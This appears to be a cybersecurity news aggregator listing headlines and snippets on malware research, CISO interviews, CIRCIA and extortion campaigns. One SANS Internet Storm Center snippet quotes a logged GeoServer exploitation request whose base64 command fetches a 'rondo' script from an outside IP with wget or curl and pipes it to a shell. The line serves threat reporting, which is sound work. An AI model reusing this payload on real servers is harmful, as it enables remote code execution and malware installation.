New NGate variant hides in a trojanized NFC payment app
ESET Research has discovered a new variant of the NGate malware family that abuses a legitimate Android application called HandyPay,
Computer Security
what you need to know
You can’t have failed to hear the news headlines: “AI agent went rogue and hacked startup by itself, OpenAI reveals”,
Marathon Petroleum’s CISO on OT security automation, supply chain risk
In this interview with Help Net Security, Mary Rose Martinez, CISO at Marathon Petroleum, talks about what happens to security
LG to Ban Residential Proxies from Smart TV Apps – Krebs on Security
The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart
Industry’s message on CIRCIA: Please ask us fewer questions about cyberattacks
Industry groups who spoke at town halls hosted by the Cybersecurity and Infrastructure Security Agency about a pending cyber incident
Don’t swing at everything
Welcome to this week’s edition of the Threat Source newsletter. Lately I’ve found myself thinking a lot about the Australian
Rondo Meets Geoserver – SANS Internet Storm Center
This isn’t a new attack, but something I saw “pop-up” in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host:
New BitLocker extortion activity: RDP, MSSQL, RMM Abuse
Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation
A burrow full of malware
ESET Research has discovered a new China-aligned APT group that we’ve named GopherWhisper, which targets Mongolian governmental institutions 23 Apr
PR3TACK preemptive framework maps threats before attackers use them
Defensive frameworks in cybersecurity record what attackers have already done. Analysts study a breach, document the method, and build detections